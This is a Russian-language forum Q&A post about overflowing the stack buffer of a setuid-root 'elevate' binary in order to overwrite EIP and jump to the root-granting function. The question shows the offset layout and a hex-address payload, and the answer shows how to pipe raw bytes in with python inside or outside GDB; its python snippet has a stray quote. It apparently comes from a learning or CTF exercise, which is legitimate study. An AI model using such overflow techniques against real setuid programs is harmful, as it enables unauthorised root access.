Адрес функции переполнения буфера экранирован - PullRequest
0 голосов
/ 21 октября 2019

У меня есть исполняемый файл, для которого у меня нет символов отладки или исходного кода. Он в основном запрашивает у вас пароль и дает вам root, если вы дадите ему правильный пароль (но не в качестве аргумента командной строки).

ls -l:
-rwsrwxr-x 1 root  root  5542 Feb 28  2017 elevate

Я пытаюсь переполнить буфер и выполнить определенную функцию из программы, которая обычно вызывается, только если пароль правильный. Я использовал info functions, чтобы получить адрес функции, и теперь я создаю эксплойт.

Следующий ввод просто вызывает переполнение и перезаписывает регистры ниже таким образом.

buffer,     ebp ,       eip
24 chars, 4 chars, 4 chars
aaaaaaaaaaaaaaaaaaaaaaaabbbbcccc - 24a and 4b, 4c

Поэтому я попытался (с адресом функции):

aaaaaaaaaaaaaaaaaaaaaaaabbbb\xdc\x84\x04\x08

Однако, по какой-то причине это не работает, и что происходит:

EBP: 0x62626262 ('bbbb')
ESP: 0xbffffc40 ("\\x84\\x04\\x08")
EIP: 0x6364785c ('\\xdc')

В основном регистр получаетперезаписано с неправильным значением, поскольку косые черты экранированы .... Почему это и как я могу это исправить?

1 Ответ

1 голос
/ 27 октября 2019

Поскольку программа принимает ввод через scanf, вам необходимо использовать следующий формат внутри GDB: Этот синтаксис имитирует ввод с клавиатуры.

run < <(python -c 'print "a"*28"')

или вне GDB:

python -c 'print "a" * 28 "' | ./program

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...